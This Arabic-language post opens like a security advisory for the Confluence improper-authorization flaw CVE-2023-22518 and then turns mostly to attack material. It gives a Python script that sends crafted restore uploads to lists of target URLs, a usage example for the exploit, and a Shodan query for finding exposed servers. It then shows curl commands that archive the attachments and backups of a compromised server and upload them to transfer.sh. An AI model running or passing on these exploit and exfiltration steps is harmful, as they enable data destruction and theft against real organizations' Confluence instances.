
ثغرة التفويض غير السليم في Confluence Data Center و Server
ثغرة في الترخيص غير الصحيح في Confluence Data Center و Server.
قامت Atlassian بإخطار المسؤولين عن ثغرة حرجة في Confluence. يمكن أن يؤدي استغلال هذه المشكلة إلى فقدان البيانات، لذا يحث المطورون على تثبيت التصحيحات في أقرب وقت ممكن.
يُلاحظ أن الثغرة لا يمكن استخدامها لتسريب البيانات، ولا تؤثر على مواقع Atlassian Cloud التي يتم الوصول إليها عبر نطاق atlassian.net.
https://jira.atlassian.com/browse/CONFSERVER-93142
| المنتج | الإصدارات المتأثرة | الإصدارات المُصلحة |
|---|---|---|
| Confluence Data Center | جميع الإصدارات متأثرة | 7.19.16 أو أحدث |
| Confluence Server | 8.3.4 أو أحدث | |
| 8.4.4 أو أحدث | ||
| 8.5.3 أو أحدث | ||
| 8.6.1 أو أحدث |
الفئة: ترخيص غير صحيح
CWE: CWE-285 / CWE-266
ATT&CK: T1548.002
/json/setup-restore.action
/json/setup-restore-local.action
/json/setup-restore-progress.action
/server-info.action منتدى المجتمع
import requests
import random
import string
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def random_string(length=10):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(length))
def post_setup_restore(baseurl):
paths = ["/json/setup-restore.action", "/json/setup-restore-local.action", "/json/setup-restore-progress.action", "/server-info.action"]
for path in paths:
url = f"{baseurl.rstrip('/')}{path}"
headers = {
"X-Atlassian-Token": "no-check",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryT3yekvo0rGaL9QR7"
}
rand_str = random_string()
data = (
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"buildIndex\"\r\n\r\n"
"true\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
f"Content-Disposition: form-data; name=\"file\";filename=\"{rand_str}.zip\"\r\n\r\n"
f"{rand_str}\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7\r\n"
"Content-Disposition: form-data; name=\"edit\"\r\n\r\n"
"Upload and import\r\n"
"------WebKitFormBoundaryT3yekvo0rGaL9QR7--\r\n"
)
try:
response = requests.post(url, headers=headers, data=data.encode('utf-8'), timeout=10, verify=False)
if (response.status_code == 200 and
'The zip file did not contain an entry' in response.text and
'exportDescriptor.properties' in response.text):
print(f"[+] Vulnerable to CVE-2023-22518 on host {url}!")
else:
print(f"[-] Not vulnerable to CVE-2023-22518 for host {url}.")
except requests.RequestException as e:
print(f"[*] Error connecting to {url}. Error: {e}")
def main():
parser = argparse.ArgumentParser(description="Post setup restore script")
parser.add_argument('--url', help='The URL to target', required=False)
parser.add_argument('--file', help='Filename containing a list of URLs', required=False)
args = parser.parse_args()
if args.url:
post_setup_restore(args.url)
elif args.file:
with open(args.file, 'r') as f:
for line in f:
url = line.strip()
if url:
post_setup_restore(url)
else:
print("You must provide either --url or --file argument.")
if __name__ == "__main__":
main()
python3 exploit.py
Enter the URL: http://REDACTED:8090/json/setup-restore.action?synchronous=true
Enter the path to the .zip file: /path/xmlexport-20231109-060519-1.zip
بحث Shodan:
http.favicon.hash:-305179312
عند إعادة تعيين Confluence باستخدام هذه الثغرة، يبقى الدليل %CONFLUENCE_HOME%/attachments ممتلئًا بالملفات، وربما يصل عددها إلى الآلاف. استخراجها جميعًا سهل جدًا، ويمكن تحديد امتداداتها باستخدام أمر Linux file. على سبيل المثال:
file /var/lib/confluence/attachments/v4/191/28/77273124/77273124.1
/var/lib/confluence/attachments/v4/191/28/77273124/77273124.1: PNG image data, 442 x 170, 8-bit/color RGBA, non-interlaced
or
file /var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1
/var/atlassian/application-data/confluence/attachments/v4/114/128/3506237/3506237.1: PNG image data, 1250 x 674, 8-bit/color RGBA, non-interlaced
مثال لكيفية أرشفة دليل بسهولة واستخراج الأرشيف:
tar -czvf /var/atlassian/application-data/confluence/attachments_backup.tar.gz /var/atlassian/application-data/confluence/attachments
curl --upload-file /var/atlassian/application-data/attachments_backup.tar.gz https://transfer.sh/attachments_backup.tar.gz
https://transfer.sh/***********/attachments_backup.tar.gz
or
curl --upload-file /var/atlassian/application-data/confluence/backups/backup-2023_09_26.zip https://transfer.sh/backup-2023_09_26.zip
https://transfer.sh/***********/backup-2023_09_26.zip